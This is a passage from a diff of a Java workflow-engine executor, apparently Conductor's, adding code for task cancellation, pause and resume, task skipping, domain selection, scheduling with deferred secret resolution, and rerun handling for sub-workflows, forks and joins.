+ .filter( + t -> + t.getTaskType().equals(TaskType.TASK_TYPE_SUB_WORKFLOW) + && t.isSubworkflowChanged() + && !t.isRetried()) + .findFirst(); + } + return Optional.empty(); + } + + @VisibleForTesting + List cancelNonTerminalTasks(WorkflowModel workflow) { + return cancelNonTerminalTasks(workflow, true); + } + + List cancelNonTerminalTasks(WorkflowModel workflow, boolean raiseFinalized) { + List erroredTasks = new ArrayList<>(); + // Update non-terminal tasks' status to CANCELED + for (TaskModel task : workflow.getTasks()) { + if (!task.getStatus().isTerminal()) { + // Cancel the ones which are not completed yet.... + task.setStatus(CANCELED); + try { + notifyTaskStatusListener(task); + } catch (Exception e) { + String errorMsg = + String.format( + "Error while notifying TaskStatusListener: %s for workflow: %s", + task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + } + if (systemTaskRegistry.isSystemTask(task.getTaskType())) { + WorkflowSystemTask workflowSystemTask = + systemTaskRegistry.get(task.getTaskType()); + try { + workflowSystemTask.cancel(workflow, task, this); + } catch (Exception e) { + erroredTasks.add(task.getReferenceTaskName()); + LOGGER.error( + "Error canceling system task:{}/{} in workflow: {}", + workflowSystemTask.getTaskType(), + task.getTaskId(), + workflow.getWorkflowId(), + e); + } + } + executionDAOFacade.updateTask(task); + } + } + if (erroredTasks.isEmpty()) { + try { + if (raiseFinalized) { + notifyWorkflowStatusListener(workflow, WorkflowEventType.FINALIZED); + } + queueDAO.remove(DECIDER_QUEUE, workflow.getWorkflowId()); + } catch (Exception e) { + LOGGER.error( + "Error removing workflow: {} from decider queue", + workflow.getWorkflowId(), + e); + } + } + return erroredTasks; + } + + @VisibleForTesting + List dedupAndAddTasks(WorkflowModel workflow, List tasks) { + Set tasksInWorkflow = + workflow.getTasks().stream() + .map(task -> task.getReferenceTaskName() + "_" + task.getRetryCount()) + .collect(Collectors.toSet()); + + List dedupedTasks = + tasks.stream() + .filter( + task -> + !tasksInWorkflow.contains( + task.getReferenceTaskName() + + "_" + + task.getRetryCount())) + .collect(Collectors.toList()); + + workflow.getTasks().addAll(dedupedTasks); + return dedupedTasks; + } + + /** + * @throws ConflictException if the workflow is in terminal state. + */ + @Override + public void pauseWorkflow(String workflowId) { + try { + executionLockService.acquireLock(workflowId, 60000); + WorkflowModel.Status status = WorkflowModel.Status.PAUSED; + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, false); + if (workflow.getStatus().isTerminal()) { + throw new ConflictException( + "Workflow %s has ended, status cannot be updated.", + workflow.toShortString()); + } + if (workflow.getStatus().equals(status)) { + return; // Already paused! + } + workflow.setStatus(status); + executionDAOFacade.updateWorkflow(workflow); + + // Notify on workflow paused. + notifyWorkflowStatusListener(workflow, WorkflowEventType.PAUSED); + } finally { + executionLockService.releaseLock(workflowId); + } + + // remove from the sweep queue + // any exceptions can be ignored, as this is not critical to the pause operation + try { + queueDAO.remove(DECIDER_QUEUE, workflowId); + } catch (Exception e) { + LOGGER.info( + "[pauseWorkflow] Error removing workflow: {} from decider queue", + workflowId, + e); + } + } + + /** + * @param workflowId the workflow to be resumed + * @throws IllegalStateException if the workflow is not in PAUSED state + */ + @Override + public void resumeWorkflow(String workflowId) { + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, false); + if (!workflow.getStatus().equals(WorkflowModel.Status.PAUSED)) { + throw new IllegalStateException( + "The workflow " + + workflowId + + " is not PAUSED so cannot resume. " + + "Current status is " + + workflow.getStatus().name()); + } + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setLastRetriedTime(System.currentTimeMillis()); + // Add to decider queue + queueDAO.push( + DECIDER_QUEUE, + workflow.getWorkflowId(), + workflow.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + executionDAOFacade.updateWorkflow(workflow); + // Notify on workflow resumed. + notifyWorkflowStatusListener(workflow, WorkflowEventType.RESUMED); + decide(workflowId); + } + + /** + * @param workflowId the id of the workflow + * @param taskReferenceName the referenceName of the task to be skipped + * @param skipTaskRequest the {@link SkipTaskRequest} object + * @throws IllegalStateException + */ + @Override + public void skipTaskFromWorkflow( + String workflowId, String taskReferenceName, SkipTaskRequest skipTaskRequest) { + + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + + // If the workflow is not running then cannot skip any task + if (!workflow.getStatus().equals(WorkflowModel.Status.RUNNING)) { + String errorMsg = + String.format( + "The workflow %s is not running so the task referenced by %s cannot be skipped", + workflowId, taskReferenceName); + throw new IllegalStateException(errorMsg); + } + + // Check if the reference name is as per the workflowdef + WorkflowTask workflowTask = + workflow.getWorkflowDefinition().getTaskByRefName(taskReferenceName); + if (workflowTask == null) { + String errorMsg = + String.format( + "The task referenced by %s does not exist in the WorkflowDefinition %s", + taskReferenceName, workflow.getWorkflowName()); + throw new IllegalStateException(errorMsg); + } + + // If the task is already started the again it cannot be skipped + workflow.getTasks() + .forEach( + task -> { + if (task.getReferenceTaskName().equals(taskReferenceName)) { + String errorMsg = + String.format( + "The task referenced %s has already been processed, cannot be skipped", + taskReferenceName); + throw new IllegalStateException(errorMsg); + } + }); + + // Now create a "SKIPPED" task for this workflow + TaskModel taskToBeSkipped = new TaskModel(); + taskToBeSkipped.setTaskId(idGenerator.generate()); + taskToBeSkipped.setReferenceTaskName(taskReferenceName); + taskToBeSkipped.setWorkflowInstanceId(workflowId); + taskToBeSkipped.setWorkflowPriority(workflow.getPriority()); + taskToBeSkipped.setStatus(SKIPPED); + taskToBeSkipped.setEndTime(System.currentTimeMillis()); + taskToBeSkipped.setTaskType(workflowTask.getName()); + taskToBeSkipped.setCorrelationId(workflow.getCorrelationId()); + if (skipTaskRequest != null) { + taskToBeSkipped.setInputData(skipTaskRequest.getTaskInput()); + taskToBeSkipped.setOutputData(skipTaskRequest.getTaskOutput()); + taskToBeSkipped.setInputMessage(skipTaskRequest.getTaskInputMessage()); + taskToBeSkipped.setOutputMessage(skipTaskRequest.getTaskOutputMessage()); + } + executionDAOFacade.createTasks(Collections.singletonList(taskToBeSkipped)); + decide(workflow.getWorkflowId()); + } + + @Override + public WorkflowModel getWorkflow(String workflowId, boolean includeTasks) { + return executionDAOFacade.getWorkflowModel(workflowId, includeTasks); + } + + private void addTaskToQueue(TaskModel task) { + // put in queue + String taskQueueName = QueueUtils.getQueueName(task); + if (task.getCallbackAfterMs() > 0) { + // Use ms-precision Duration overload to preserve sub-second jitter + queueDAO.push( + taskQueueName, + task.getTaskId(), + task.getWorkflowPriority(), + Duration.ofMillis(task.getCallbackAfterMs())); + } else if (task.getCallbackAfterSeconds() > 0) { + queueDAO.push( + taskQueueName, + task.getTaskId(), + task.getWorkflowPriority(), + task.getCallbackAfterSeconds()); + } else { + queueDAO.push(taskQueueName, task.getTaskId(), task.getWorkflowPriority(), 0); + } + LOGGER.debug( + "Added task {} with priority {} to queue {} with call back seconds {}", + task, + task.getWorkflowPriority(), + taskQueueName, + task.getCallbackAfterSeconds()); + } + + @VisibleForTesting + void setTaskDomains(List tasks, WorkflowModel workflow) { + Map taskToDomain = workflow.getTaskToDomain(); + if (taskToDomain != null) { + // Step 1: Apply * mapping to all tasks, if present. + String domainstr = taskToDomain.get("*"); + if (StringUtils.isNotBlank(domainstr)) { + String[] domains = domainstr.split(","); + tasks.forEach( + task -> { + // Filter out SystemTask + if (!systemTaskRegistry.isSystemTask(task.getTaskType())) { + // Check which domain worker is polling + // Set the task domain + task.setDomain(getActiveDomain(task.getTaskType(), domains)); + } + }); + } + // Step 2: Override additional mappings. + tasks.forEach( + task -> { + if (!systemTaskRegistry.isSystemTask(task.getTaskType())) { + String taskDomainstr = taskToDomain.get(task.getTaskType()); + if (taskDomainstr != null) { + task.setDomain( + getActiveDomain( + task.getTaskType(), taskDomainstr.split(","))); + } + } + }); + } + } + + /** + * Gets the active domain from the list of domains where the task is to be queued. The domain + * list must be ordered. In sequence, check if any worker has polled for last + * `activeWorkerLastPollMs`, if so that is the Active domain. When no active domains are found: + *
  • If NO_DOMAIN token is provided, return null. + *
  • Else, return last domain from list. + * + * @param taskType the taskType of the task for which active domain is to be found + * @param domains the array of domains for the task. (Must contain atleast one element). + * @return the active domain where the task will be queued + */ + @VisibleForTesting + String getActiveDomain(String taskType, String[] domains) { + if (domains == null || domains.length == 0) { + return null; + } + + return Arrays.stream(domains) + .filter(domain -> !domain.equalsIgnoreCase("NO_DOMAIN")) + .map(domain -> executionDAOFacade.getTaskPollDataByDomain(taskType, domain.trim())) + .filter(Objects::nonNull) + .filter(validateLastPolledTime) + .findFirst() + .map(PollData::getDomain) + .orElse( + domains[domains.length - 1].trim().equalsIgnoreCase("NO_DOMAIN") + ? null + : domains[domains.length - 1].trim()); + } + + private long getTaskDuration(long s, TaskModel task) { + long duration = task.getEndTime() - task.getStartTime(); + s += duration; + if (task.getRetriedTaskId() == null) { + return s; + } + return s + getTaskDuration(s, executionDAOFacade.getTaskModel(task.getRetriedTaskId())); + } + + @VisibleForTesting + boolean scheduleTask(WorkflowModel workflow, List tasks) { + List tasksToBeQueued; + boolean startedSystemTasks = false; + + try { + if (tasks == null || tasks.isEmpty()) { + return false; + } + + // Get the highest seq number + int count = workflow.getTasks().stream().mapToInt(TaskModel::getSeq).max().orElse(0); + + for (TaskModel task : tasks) { + if (task.getSeq() == 0) { // Set only if the seq was not set + task.setSeq(++count); + } + // Stamp the very first time this task enters the queue. Retried tasks carry + // this value forward (via TaskModel.copy()), so it is never overwritten here. + if (task.getFirstScheduledTime() == 0) { + task.setFirstScheduledTime(System.currentTimeMillis()); + } + } + + // metric to track the distribution of number of tasks within a workflow + Monitors.recordNumTasksInWorkflow( + workflow.getTasks().size() + tasks.size(), + workflow.getWorkflowName(), + String.valueOf(workflow.getWorkflowVersion())); + + // Save the tasks in the DAO + executionDAOFacade.createTasks(tasks); + + List systemTasks = + tasks.stream() + .filter(task -> systemTaskRegistry.isSystemTask(task.getTaskType())) + .collect(Collectors.toList()); + + tasksToBeQueued = + tasks.stream() + .filter(task -> !systemTaskRegistry.isSystemTask(task.getTaskType())) + .collect(Collectors.toList()); + + // Traverse through all the system tasks, start the sync tasks, in case of async + // queue + // the tasks + for (TaskModel task : systemTasks) { + WorkflowSystemTask workflowSystemTask = systemTaskRegistry.get(task.getTaskType()); + if (workflowSystemTask == null) { + throw new NotFoundException( + "No system task found by name %s", task.getTaskType()); + } + if (task.getStatus() != null + && !task.getStatus().isTerminal() + && task.getStartTime() == 0) { + task.setStartTime(System.currentTimeMillis()); + } + if (!workflowSystemTask.isAsync()) { + try { + // start execution of synchronous system tasks + startSyncSystemTaskWithSecrets(workflowSystemTask, workflow, task); + } catch (Exception e) { + String errorMsg = + String.format( + "Unable to start system task: %s, {id: %s, name: %s}", + task.getTaskType(), + task.getTaskId(), + task.getTaskDefName()); + throw new NonTransientException(errorMsg, e); + } + startedSystemTasks = true; + executionDAOFacade.updateTask(task); + } else { + tasksToBeQueued.add(task); + } + } + + } catch (Exception e) { + List taskIds = + tasks.stream().map(TaskModel::getTaskId).collect(Collectors.toList()); + String errorMsg = + String.format( + "Error scheduling tasks: %s, for workflow: %s", + taskIds, workflow.getWorkflowId()); + LOGGER.error(errorMsg, e); + Monitors.error(CLASS_NAME, "scheduleTask"); + throw new TerminateWorkflowException(errorMsg); + } + + // On addTaskToQueue failures, ignore the exceptions and let + // WorkflowRepairService take care + // of republishing the messages to the queue. + try { + addTaskToQueue(tasksToBeQueued); + } catch (Exception e) { + List taskIds = + tasksToBeQueued.stream().map(TaskModel::getTaskId).collect(Collectors.toList()); + String errorMsg = + String.format( + "Error pushing tasks to the queue: %s, for workflow: %s", + taskIds, workflow.getWorkflowId()); + LOGGER.warn(errorMsg, e); + Monitors.error(CLASS_NAME, "scheduleTask"); + } + return startedSystemTasks; + } + + /** + * Runs a synchronous system task's {@code start(...)} (e.g. JSON_JQ_TRANSFORM, WAIT, HUMAN) + * against a secret-resolved view of its input, while keeping the persisted task input literal. + * + *

    {@code ${workflow.secrets.X}} references are deferred at schedule time and are normally + * only resolved at task hand-off (worker poll or async system task execution). Synchronous + * system tasks execute inline in the decide loop and never go through those hand-off points, so + * without this substitution they would see the literal, unresolved secret reference. + */ + private void startSyncSystemTaskWithSecrets( + WorkflowSystemTask systemTask, WorkflowModel workflow, TaskModel task) { + Map literalInput = task.getInputData(); + try { + task.setInputData(parametersUtils.substituteSecrets(literalInput)); + systemTask.start(workflow, task, this); + } finally { + task.setInputData(literalInput); + } + } + + /** + * Runs a synchronous system task's {@code execute(...)} (e.g. INLINE, SET_VARIABLE) against a + * secret-resolved view of its input, while keeping the persisted task input literal. + * + *

    Some system tasks (e.g. {@code Inline}, {@code SetVariable}) only implement {@code + * execute(...)} and rely on the default no-op {@code start(...)}; for those, the actual + * synchronous execution happens here in the decide loop rather than at the {@link + * #scheduleTask} start hook. See {@link #startSyncSystemTaskWithSecrets} for the {@code + * start(...)} counterpart. + */ + private boolean executeSyncSystemTaskWithSecrets( + WorkflowSystemTask systemTask, WorkflowModel workflow, TaskModel task) { + Map literalInput = task.getInputData(); + try { + task.setInputData(parametersUtils.substituteSecrets(literalInput)); + return systemTask.execute(workflow, task, this); + } finally { + task.setInputData(literalInput); + } + } + + private void addTaskToQueue(final List tasks) { + for (TaskModel task : tasks) { + addTaskToQueue(task); + // notify TaskStatusListener + try { + taskStatusListener.onTaskScheduledIfEnabled(task); + } catch (Exception e) { + String errorMsg = + String.format( + "Error while notifying TaskStatusListener: %s for workflow: %s", + task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + } + } + } + + private WorkflowModel terminate( + final WorkflowModel workflow, TerminateWorkflowException terminateWorkflowException) { + if (!workflow.getStatus().isTerminal()) { + workflow.setStatus(terminateWorkflowException.getWorkflowStatus()); + } + + if (terminateWorkflowException.getTask() != null && workflow.getFailedTaskId() == null) { + workflow.setFailedTaskId(terminateWorkflowException.getTask().getTaskId()); + } + + String failureWorkflow = workflow.getWorkflowDefinition().getFailureWorkflow(); + Integer failureWorkflowVersion = + workflow.getWorkflowDefinition().getFailureWorkflowVersion(); + + if (failureWorkflow != null) { + if (failureWorkflow.startsWith("$")) { + String[] paramPathComponents = failureWorkflow.split("\\."); + String name = paramPathComponents[2]; // name of the input parameter + failureWorkflow = (String) workflow.getInput().get(name); + } + } + if (terminateWorkflowException.getTask() != null) { + executionDAOFacade.updateTask(terminateWorkflowException.getTask()); + } + return terminateWorkflow( + workflow, + terminateWorkflowException.getMessage(), + failureWorkflow, + failureWorkflowVersion); + } + + private boolean rerunWF( + String workflowId, + String taskId, + Map taskInput, + Map workflowInput, + String correlationId) { + + // Get the workflow + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + if (!workflow.getStatus().isTerminal()) { + String errorMsg = + String.format( + "Workflow: %s is not in terminal state, unable to rerun.", workflow); + LOGGER.error(errorMsg); + throw new ConflictException(errorMsg); + } + // If the task Id is null it implies that the entire workflow has to be rerun + if (taskId == null) { + // remove all tasks + workflow.getTasks().forEach(task -> executionDAOFacade.removeTask(task.getTaskId())); + workflow.setTasks(new ArrayList<>()); + // Set workflow as RUNNING + workflow.setStatus(WorkflowModel.Status.RUNNING); + // Reset failure reason from previous run to default + workflow.setReasonForIncompletion(null); + workflow.setFailedTaskId(null); + workflow.setFailedReferenceTaskNames(new HashSet<>()); + workflow.setFailedTaskNames(new HashSet<>()); + + if (correlationId != null) { + workflow.setCorrelationId(correlationId); + } + if (workflowInput != null) { + workflow.setInput(workflowInput); + } + + queueDAO.push( + DECIDER_QUEUE, + workflow.getWorkflowId(), + workflow.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + executionDAOFacade.updateWorkflow(workflow); + updateAndPushParents(workflow, "reran"); + notifyWorkflowStatusListener(workflow, WorkflowEventType.RERAN); + decide(workflowId); + updateAndPushParents(workflow, "reran"); + return true; + } + + // Now iterate through the tasks and find the "specific" task + TaskModel rerunFromTask = null; + for (TaskModel task : workflow.getTasks()) { + if (task.getTaskId().equals(taskId)) { + rerunFromTask = task; + break; + } + } + + // If not found look into sub workflows + if (rerunFromTask == null) { + for (TaskModel task : workflow.getTasks()) { + if (task.getTaskType().equalsIgnoreCase(TaskType.TASK_TYPE_SUB_WORKFLOW)) { + String subWorkflowId = task.getSubWorkflowId(); + if (rerunWF(subWorkflowId, taskId, taskInput, null, null)) { + rerunFromTask = task; + break; + } + } + } + } + + if (rerunFromTask != null) { + // set workflow as RUNNING + workflow.setStatus(WorkflowModel.Status.RUNNING); + // Reset failure reason from previous run to default + workflow.setReasonForIncompletion(null); + workflow.setFailedTaskId(null); + workflow.setFailedReferenceTaskNames(new HashSet<>()); + workflow.setFailedTaskNames(new HashSet<>()); + + if (correlationId != null) { + workflow.setCorrelationId(correlationId); + } + if (workflowInput != null) { + workflow.setInput(workflowInput); + } + executionDAOFacade.updateWorkflow(workflow); + // For direct non-SUB_WORKFLOW reruns, persist the target task as SCHEDULED before + // updateAndPushParents fires expediteLazyWorkflowEvaluation. Without this early write, + // an async decider that runs between the workflow-RUNNING write above and the + // rerunFromTask-SCHEDULED write below can see all tasks as terminal and re-terminate + // the workflow before PATH 3 gets a chance to reset rerunFromTask. + if (rerunFromTask.getTaskId().equals(taskId) + && !TaskType.TASK_TYPE_SUB_WORKFLOW.equalsIgnoreCase( + rerunFromTask.getTaskType())) { + rerunFromTask.setStatus(SCHEDULED); + executionDAOFacade.updateTask(rerunFromTask); + } + updateAndPushParents(workflow, "reran"); + notifyWorkflowStatusListener(workflow, WorkflowEventType.RETRIED); + + // Recursive rerun targeting a SUB_WORKFLOW task: the child's finalizeRerun → + // updateAndPushParents already wrote the correct states for this workflow's downstream + // tasks (JOIN → IN_PROGRESS, sibling tasks → SCHEDULED) into the DB. + // Writing the stale in-memory task list below would overwrite those correct DB values, + // reverting JOIN to CANCELED. An async decider triggered by + // expediteLazyWorkflowEvaluation would then see the CANCELED JOIN and terminate this + // workflow. Skip the stale write, reset only rerunFromTask, then decide. + if (!rerunFromTask.getTaskId().equals(taskId) + && rerunFromTask + .getTaskType() + .equalsIgnoreCase(TaskType.TASK_TYPE_SUB_WORKFLOW)) { + rerunFromTask.setScheduledTime(System.currentTimeMillis()); + rerunFromTask.setStartTime(System.currentTimeMillis()); + rerunFromTask.setUpdateTime(0); + rerunFromTask.setEndTime(0); + rerunFromTask.setRetried(false); + rerunFromTask.setExecuted(false); + rerunFromTask.setPollCount(0); + rerunFromTask.setStatus(IN_PROGRESS); + rerunFromTask.setReasonForIncompletion(null); + executionDAOFacade.updateTask(rerunFromTask); + // Push AFTER task reset so async decider sees IN_PROGRESS, not stale FAILED state + queueDAO.push( + DECIDER_QUEUE, + workflow.getWorkflowId(), + workflow.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + decide(workflow.getWorkflowId()); + return true; + } + + // update tasks in datastore to update workflow-tasks relationship for archived + // workflows; exclude rerunFromTask, which is updated individually below — writing its + // stale FAILED state here would race with the sweeper and can re-terminate the parent + final String rerunTaskId = rerunFromTask.getTaskId(); + executionDAOFacade.updateTasks( + workflow.getTasks().stream() + .filter(t -> !t.getTaskId().equals(rerunTaskId)) + .collect(Collectors.toList())); + // Direct rerun targeting a SUB_WORKFLOW task: seq-based removal would strip parallel + // fork branches — instead reset the task in-place, start a fresh child + // synchronously so the task is IN_PROGRESS immediately, then let finalizeRerun + // reset all terminal-unsuccessful siblings before the decider runs. + if (rerunFromTask.getTaskId().equals(taskId) + && rerunFromTask + .getTaskType() + .equalsIgnoreCase(TaskType.TASK_TYPE_SUB_WORKFLOW)) { + rerunFromTask.setScheduledTime(System.currentTimeMillis()); + rerunFromTask.setStartTime(0); + rerunFromTask.setUpdateTime(0); + rerunFromTask.setEndTime(0); + rerunFromTask.clearOutput(); + rerunFromTask.setRetried(false); + rerunFromTask.setExecuted(false); + rerunFromTask.setPollCount(0); + rerunFromTask.setSubWorkflowId(null); + rerunFromTask.setStatus(SCHEDULED); + rerunFromTask.setReasonForIncompletion(null); + // Start the child workflow synchronously so the task is IN_PROGRESS before we + // return — tests that read state immediately after rerun() need this. + systemTaskRegistry + .get(TaskType.TASK_TYPE_SUB_WORKFLOW) + .start(workflow, rerunFromTask, this); + if (rerunFromTask.getStatus() == SCHEDULED) { + // start() hit a transient error — fall back to async queue processing. + addTaskToQueue(rerunFromTask); + } + executionDAOFacade.updateTask(rerunFromTask); + finalizeRerun(workflow, rerunFromTask); + return true; + } + // Remove all tasks after the "rerunFromTask" + List filteredTasks = new ArrayList<>(); + for (TaskModel task : workflow.getTasks()) { + if (task.getSeq() > rerunFromTask.getSeq()) { + executionDAOFacade.removeTask(task.getTaskId()); + } else { + filteredTasks.add(task); + } + } + workflow.setTasks(filteredTasks); + // reset fields before restarting the task + rerunFromTask.setScheduledTime(System.currentTimeMillis()); + rerunFromTask.setStartTime(0); + rerunFromTask.setUpdateTime(0); + rerunFromTask.setEndTime(0); + rerunFromTask.clearOutput(); + rerunFromTask.setRetried(false); + rerunFromTask.setExecuted(false); + rerunFromTask.setPollCount(0); + if (rerunFromTask.getTaskType().equalsIgnoreCase(TaskType.TASK_TYPE_SUB_WORKFLOW)) { + // if task is sub workflow set task as IN_PROGRESS and reset start time + rerunFromTask.setStatus(IN_PROGRESS); + rerunFromTask.setStartTime(System.currentTimeMillis()); + } else { + if (taskInput != null) { + rerunFromTask.setInputData(taskInput); + } + if (systemTaskRegistry.isSystemTask(rerunFromTask.getTaskType()) + && !systemTaskRegistry.get(rerunFromTask.getTaskType()).isAsync()) { + // Start the synchronous system task directly + systemTaskRegistry + .get(rerunFromTask.getTaskType()) + .start(workflow, rerunFromTask, this); + } else if (TaskType.FORK_JOIN_DYNAMIC + .name() + .equalsIgnoreCase(rerunFromTask.getTaskType())) { + // FORK_JOIN_DYNAMIC is not in the system task registry and has no queue worker. + // Mark it COMPLETED with executed=false so that decide() re-fires getNextTask() + // via ForkJoinDynamicTaskMapper, which re-creates the branch tasks from the + // original prep task's output stored in the workflow. + rerunFromTask.setStatus(COMPLETED); + } else { + // Set the task to rerun as SCHEDULED + rerunFromTask.setStatus(SCHEDULED); + } + } + // Write the new state to DB before queueing so any async worker sees SCHEDULED, + // not the stale CANCELED/FAILED state that was in the DB before this rerun. + executionDAOFacade.updateTask(rerunFromTask); + if (rerunFromTask.getStatus() == SCHEDULED) { + addTaskToQueue(rerunFromTask); + } + if (rerunFromTask.getTaskId().equals(taskId)) { + // Direct rerun: reset container tasks (DO_WHILE, JOIN) that stayed terminal + // after seq-based removal, then push parents. + finalizeRerun(workflow, rerunFromTask); + } else { + // Recursive rerun: child workflow already reran; just decide and push parents. + decide(workflow.getWorkflowId()); + updateAndPushParents(workflow, "reran"); + } + return true; + } + return false; + } + + private void finalizeRerun(WorkflowModel workflow, TaskModel rerunFromTask) { + // FORK_JOIN_DYNAMIC rerun: rerunFromTask is the TASK_TYPE_FORK model created by the + // mapper (task type "FORK", not "FORK_JOIN_DYNAMIC"). Seq-based removal already stripped + // the branch tasks and JOIN but left the FORK task itself (same seq). Remove it and + // directly re-invoke the mapper so that branch tasks are re-created — decide()'s + // getNextTask(FORK) path only returns the JOIN task and never re-expands branches. + if (TaskType.TASK_TYPE_FORK.equalsIgnoreCase(rerunFromTask.getTaskType()) + && rerunFromTask.getWorkflowTask() != null + && TaskType.FORK_JOIN_DYNAMIC + .name() + .equalsIgnoreCase(rerunFromTask.getWorkflowTask().getType())) { + executionDAOFacade.removeTask(rerunFromTask.getTaskId()); + final String forkTaskId = rerunFromTask.getTaskId(); + workflow.setTasks( + workflow.getTasks().stream() + .filter(t -> !t.getTaskId().equals(forkTaskId)) + .collect(Collectors.toList())); + List newTasks = + deciderService.getTasksToBeScheduled( + workflow, rerunFromTask.getWorkflowTask(), 0); + dedupAndAddTasks(workflow, newTasks); + scheduleTask(workflow, newTasks); + queueDAO.push( + DECIDER_QUEUE, + workflow.getWorkflowId(), + workflow.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + decide(workflow.getWorkflowId()); + updateAndPushParents(workflow, "reran"); + return; + } + List tasksToQueue = new ArrayList<>(); + workflow.getTasks() + .forEach( + task -> { + if (!task.getStatus().isSuccessful() + && task.getStatus().isTerminal() + && !rerunFromTask + .getReferenceTaskName() + .equals(task.getReferenceTaskName())) { + if (TaskType.TASK_TYPE_SUB_WORKFLOW.equalsIgnoreCase( + task.getTaskType())) { + task.setSubWorkflowId(null); + task.getOutputData().remove("subWorkflowId"); + } + if (TaskType.JOIN.toString().equalsIgnoreCase(task.getTaskType()) + || TaskType.DO_WHILE + .toString() + .equalsIgnoreCase(task.getTaskType())) { + task.setStatus(IN_PROGRESS); + } else if (systemTaskRegistry.isSystemTask(task.getTaskType()) + && systemTaskRegistry.get(task.getTaskType()) != null + && !systemTaskRegistry.get(task.getTaskType()).isAsync()) { + task.setStatus(IN_PROGRESS); + } else { + task.setStatus(SCHEDULED); + tasksToQueue.add(task); + } + task.setExecuted(false); + task.setStartTime(System.currentTimeMillis()); + task.setEndTime(0); + task.setReasonForIncompletion(null); + } + }); + // Write SCHEDULED to DB before queueing so async workers (e.g. SystemTaskWorker) + // never read a stale CANCELED/FAILED state and silently drop the queue entry. + executionDAOFacade.updateTasks(workflow.getTasks()); + tasksToQueue.forEach(this::addTaskToQueue); + // Push AFTER all sibling tasks are reset so async decider never sees stale CANCELED/FAILED + queueDAO.push( + DECIDER_QUEUE, + workflow.getWorkflowId(), + workflow.getPriority(), + properties.getWorkflowOffsetTimeout().getSeconds()); + decide(workflow.getWorkflowId()); + updateAndPushParents(workflow, "reran"); + } + + @Override + public void scheduleNextIteration(TaskModel loopTask, WorkflowModel workflow) { + // Schedule only first loop over task. Rest will be taken care in Decider + // Service when this + // task will get completed. + List scheduledLoopOverTasks = + deciderService.getTasksToBeScheduled( + workflow, + loopTask.getWorkflowTask().getLoopOver().get(0), + loopTask.getRetryCount(), + null); + setTaskDomains(scheduledLoopOverTasks, workflow); + scheduledLoopOverTasks.forEach( + t -> { + t.setReferenceTaskName( + TaskUtils.appendIteration( + t.getReferenceTaskName(), loopTask.getIteration())); + t.setIteration(loopTask.getIteration()); + }); + scheduleTask(workflow, scheduledLoopOverTasks); + workflow.getTasks().addAll(scheduledLoopOverTasks); + } + + private TaskDef getTaskDefinition(TaskModel task) { + return task.getTaskDefinition() + .orElseGet( + () -> + Optional.ofNullable( + metadataDAO.getTaskDef( + task.getWorkflowTask().getName())) + .orElseThrow( + () -> { + String reason = + String.format( + "Invalid task specified. Cannot find task by name %s in the task definitions", + task.getWorkflowTask() + .getName()); + return new TerminateWorkflowException(reason); + })); + } + + @VisibleForTesting + void updateParentWorkflowTask(WorkflowModel subWorkflow) { + TaskModel subWorkflowTask = + executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId()); + if (subWorkflowTask == null) { + // orphan sub-workflow: parent task was cleared (e.g. parent workflow restarted) + return; + } + executeSubworkflowTaskAndSyncData(subWorkflow, subWorkflowTask); + executionDAOFacade.updateTask(subWorkflowTask); + if (subWorkflowTask.getStatus().isTerminal()) { + // This fork branch's sub-workflow just finished; a sibling JOIN waiting on it may now + // be satisfiable. Nudge it off its exponential-backoff poll so the parent completes + // promptly instead of stalling until the JOIN's next scheduled evaluation. + expediteInProgressJoinTasks(subWorkflowTask.getWorkflowInstanceId()); + } + } + + private void executeSubworkflowTaskAndSyncData( + WorkflowModel subWorkflow, TaskModel subWorkflowTask) { + WorkflowSystemTask subWorkflowSystemTask = + systemTaskRegistry.get(TaskType.TASK_TYPE_SUB_WORKFLOW); + subWorkflowSystemTask.execute(subWorkflow, subWorkflowTask, this); + } + + /** + * Pushes workflow id into the decider queue with a higher priority to expedite evaluation. + * + * @param workflowId The workflow to be evaluated at higher priority + */ + private void expediteLazyWorkflowEvaluation(String workflowId) { + if (queueDAO.containsMessage(DECIDER_QUEUE, workflowId)) { + queueDAO.postpone(DECIDER_QUEUE, workflowId, EXPEDITED_PRIORITY, 0); + } else { + queueDAO.push(DECIDER_QUEUE, workflowId, EXPEDITED_PRIORITY, 0); + } + + LOGGER.info("Pushed workflow {} to {} for expedited evaluation", workflowId, DECIDER_QUEUE); + } + + private static boolean isJoinOnFailedPermissive(List joinOn, WorkflowModel workflow) { + return joinOn.stream() + .map(workflow::getTaskByRefName) + .anyMatch( + t -> + t.getWorkflowTask().isPermissive() + && !t.getWorkflowTask().isOptional() + && t.getStatus().equals(FAILED)); + } + + @Override + public String startWorkflow(StartWorkflowInput input) { + WorkflowDef workflowDefinition = resolveWorkflowDefinition(input); + String workflowId = + Optional.ofNullable(input.getWorkflowId()).orElseGet(idGenerator::generate); + WorkflowModel workflow = createWorkflowModel(input, workflowDefinition, workflowId); + + try { + createAndEvaluate(workflow); + Monitors.recordWorkflowStartSuccess( + workflow.getWorkflowName(), + String.valueOf(workflow.getWorkflowVersion()), + workflow.getOwnerApp()); + return workflowId; + } catch (Exception e) { + Monitors.recordWorkflowStartError( + workflowDefinition.getName(), WorkflowContext.get().getClientApp()); + LOGGER.error("Unable to start workflow: {}", workflowDefinition.getName(), e); + + // It's possible the remove workflow call hits an exception as well, in that + // case we + // want to log both errors to help diagnosis. + try { + executionDAOFacade.removeWorkflow(workflowId, false); + } catch (Exception rwe) { + LOGGER.error("Could not remove the workflowId: " + workflowId, rwe); + } + throw e; + } + } + + @Override + public WorkflowModel startWorkflowIdempotent(StartWorkflowInput input) { + Preconditions.checkArgument( + StringUtils.isNotBlank(input.getWorkflowId()), + "workflowId must be present for idempotent workflow start"); + + WorkflowDef workflowDefinition = resolveWorkflowDefinition(input); + String workflowId = input.getWorkflowId(); + + if (!executionLockService.acquireLock(workflowId)) { + throw new TransientException("Error acquiring lock when creating workflow: {}"); + } + 